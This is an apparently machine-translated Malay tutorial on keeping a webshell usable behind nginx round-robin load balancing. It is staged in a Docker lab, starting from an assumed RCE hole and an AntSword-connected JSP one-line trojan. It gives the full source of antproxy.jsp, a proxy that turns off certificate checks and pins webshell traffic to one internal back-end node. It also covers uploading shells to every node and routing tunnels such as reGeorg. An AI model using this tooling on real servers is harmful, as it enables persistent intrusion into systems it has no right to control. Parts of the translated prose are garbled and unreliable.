Rumah >Operasi dan penyelenggaraan >Nginx >Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx
Anggapkan bahawa dalam persekitaran pengeluaran sebenar, terdapat kerentanan RCE, yang membolehkan kami mendapatkan pemasangan WebShell
Tarik pertama kelemahan pada GetHub Sebelum memasang imej, anda perlu memasang nginx dan tomcat pada centos terlebih dahulu dan mengkonfigurasi fail konfigurasi yang berkaitan dengan nginx dan tomcat Kemudian gunakan docker untuk menurunkan imej untuk menghasilkan semula kelemahan.
1. Sediakan persekitaran docker dahulu
2. Uji sama ada tomcat boleh mengakses
Seperti yang dapat dilihat daripada gambar di atas, tomcat bahagian belakang boleh diakses
3 Periksa pengimbangan beban proksi terbalik nginx dalam docker
4. Lihat fail ant.jsp dalam lbsnode1 dalam docker
Fail ini boleh difahami sebagai Trojan satu ayat, dan fail yang sama juga wujud dalam lbsnode2
lbsnode1:
lbsnode2:
5 Sambungkan fail ant.jsp melalui Pedang Semut Cina
<.>
Oleh kerana ant.jsp wujud di lokasi yang sama pada kedua-dua nod, tidak terkecuali apabila menyambung Proses pembiakanMasalah sedia adaSoalan 1: Memandangkan proksi terbalik yang digunakan oleh nginx ialah kaedah tinjauan pendapat, fail yang dimuat naik mesti dimuat naik ke lokasi yang sama pada dua pelayan bahagian belakang
Oleh kerana kami adalah proksi terbalik Pengimbangan beban bermaksud memuat naik fail. Satu pelayan belakang mempunyai fail yang kami muat naik, tetapi pelayan lain tidak mempunyai fail yang kami muat naik Hasilnya ialah apabila tiada fail pada satu pelayan, maka giliran permintaan itu , ralat 404 akan dilaporkan, yang akan menjejaskan penggunaan Ini adalah sebab mengapa ia akan kelihatan normal untuk seketika dan ralat akan muncul untuk seketika. Penyelesaian: Kami perlu memuat naik WebShell dengan kandungan yang sama di lokasi yang sama pada setiap nod, supaya tidak kira nod mana yang ditinjau. pelayan bahagian belakang boleh diakses dari mana-mana pelayan. Untuk mencapai fail yang dimuat naik pada setiap pelayan bahagian belakang, anda perlu memuat naiknya seperti orang gila.Masalah 2: Apabila kami melaksanakan arahan, kami tidak dapat mengetahui mesin mana permintaan seterusnya akan diserahkan untuk dilaksanakan
Kami sedang melaksanakan nama hos -i untuk melihat mesin pelaksanaan semasa Anda dapat melihat bahawa alamat IP telah hanyutMasalah 3: Apabila kita perlu memuat naik beberapa alat yang lebih besar, ia akan menyebabkan alatan menjadi Situasi tidak boleh digunakan
Apabila kami memuat naik fail yang lebih besar, AntSword menggunakan kaedah muat naik berbilang bahagian semasa memuat naik fail, membahagikan fail kepada berbilang permintaan HTTP dan menghantarnya ke sasaran, mengakibatkan kerosakan fail. Sebahagian daripada kandungan berada pada pelayan A, dan fail lain berada pada pelayan B, yang menjadikan alat atau fail yang lebih besar tidak dapat dibuka atau digunakanSoalan 4: Memandangkan hos sasaran tidak boleh mengakses rangkaian luaran , Jika anda ingin pergi lebih jauh, anda hanya boleh menggunakan HTTP Tunnel seperti reGeorg/HTTPAbs, tetapi dalam senario ini, semua skrip terowong ini gagal.
PenyelesaianPilihan 1: Matikan salah satu pelayan bahagian belakang
Tutup salah satu pelayan bahagian belakang sesungguhnya Ia boleh menyelesaikan empat masalah yang dinyatakan di atas, tetapi penyelesaian ini benar-benar seperti "menggantung bintang panjang umur --- bosan hidup", menjejaskan perniagaan, dan menyebabkan bencana Pas Langsung tidak akan dipertimbangkanPenilaian komprehensif: Ia adalah. benar-benar persekitaran Jangan cuba lain kali! ! !
Pilihan 2: Tentukan sama ada hendak melaksanakan atur cara sebelum melaksanakannya
Memandangkan adalah mustahil untuk meramalkan mesin mana yang akan melaksanakannya pada masa akan datang, maka shell kami adalah Sebelum melaksanakan Muatan, nilaikan sama ada ia patut dilaksanakan atau tidak. Buat skrip demo.sh untuk kali pertama Skrip ini adalah untuk mendapatkan alamat salah satu pelayan bahagian belakang kami Program ini akan dilaksanakan hanya apabila alamat pelayan ini sepadan alamat pelayan lain, program akan dilaksanakan Program tidak dilaksanakan. Muat naik fail skrip demo.sh ke dua pelayan bahagian belakang melalui China Ant Sword Kerana ia mengimbangi beban, anda perlu mengklik untuk memuat naik seperti gilaDengan cara ini, kita sememangnya boleh memastikan arahan yang dilaksanakan ada pada mesin yang kita mahukan, walau bagaimanapun, tiada rasa cantik dalam melaksanakan arahan seperti ini Selain itu, masalah seperti muat naik fail besar dan terowong HTTP tidak dapat diselesaikan.
Penilaian komprehensif: Penyelesaian ini hampir tidak boleh digunakan Ia hanya sesuai digunakan semasa melaksanakan arahan dan tidak cukup elegan.
Pilihan 3: ke hadapan lalu lintas HTTP dalam lapisan Web (titik utama)
Ya, kami tidak boleh mengakses IP intranet LBSNode1 secara langsung menggunakan AntSword (172.23. 0.2), tetapi seseorang boleh mengaksesnya Selain nginx, mesin LBSNode2 juga boleh mengakses port 8080 mesin Node1.
Adakah anda masih ingat pemalam "PHP Bypass Disable Function" Selepas memuatkan begitu dalam pemalam ini, kami memulakan pelayan https secara setempat, dan kemudian kami menggunakan skrip pemajuan trafik peringkat HTTP "antproxy.php ", mari kita lihat dalam senario ini:
Mari lihat gambar ini langkah demi langkah. Matlamat kami ialah: Semua data paket boleh Hantar ke mesin "LBSNode 1"
Langkah pertama ialah, kami meminta /antproxy.jsp permintaan ini dihantar ke nginx
Selepas nginx menerima paket data, ia akan Terdapat dua situasi:
Mari lihat garis hitam dahulu Dalam langkah 2, permintaan dihantar ke mesin sasaran dan /antproxy.jsp pada mesin Node1 diminta. /antproxy.jsp menghantar permintaan Selepas penyusunan semula, ia dihantar kepada /ant.jsp pada mesin Node1 dan dilaksanakan dengan jayanya.
Lihat baris merah sekali lagi Dalam langkah 2, permintaan dihantar ke mesin Node2 Kemudian dalam langkah 3, /antproxy.jsp pada mesin Node2 menyusun semula permintaan dan menghantarnya ke /ant.jsp. daripada Node1 berjaya dilaksanakan.
1. Cipta skrip antproxy.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2. Ubah suai alamat pemajuan dan ubah hala ke alamat akses skrip sasaran IP intranet sasaran Nod.
Nota: Bukan sahaja WebShell, malah alamat akses skrip seperti reGeorg boleh ditukar
Kami menghalakan sasaran ke ant.jsp LBSNode1
Nota:
a) Jangan gunakan fungsi muat naik, yang akan memuat naik sekeping-keping, mengakibatkan pemecahan pada Nod yang berbeza.
b) Untuk memastikan setiap Nod mempunyai laluan yang sama ke antproxy.jsp, jadi saya menyimpannya berkali-kali untuk memastikan setiap nod memuat naik skrip
3 Ubah suai konfigurasi Shell, isikan bahagian URL sebagai alamat antproxy.jsp dan biarkan konfigurasi lain tidak berubah
4 Uji arahan pelaksanaan dan semak IP
Anda boleh melihatnya. IP telah ditetapkan, bermakna permintaan telah ditetapkan pada mesin LBSNode1. Pada masa ini, menggunakan muat naik berbilang bahagian dan proksi HTTP tidak berbeza daripada situasi bersendirian
Kelebihan penyelesaian ini:
1 dengan kebenaran yang rendah, jika kuasanya tinggi, ia juga boleh dimajukan terus melalui peringkat pelabuhan, tetapi ini tidak berbeza dengan perkhidmatan luar tapak Pelan A
2. Dari segi trafik, ia hanya menjejaskan permintaan untuk mengakses WebShell, permintaan perniagaan biasa lain tidak akan menjejaskan.
3. Sesuaikan lebih banyak alatan
Kelemahan:
Penyelesaian ini memerlukan kebolehoperasian intranet antara "Nod Sasaran" dan "Nod Lain" , jika ada tiada kebolehoperasian, ia akan menjadi sejuk.
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!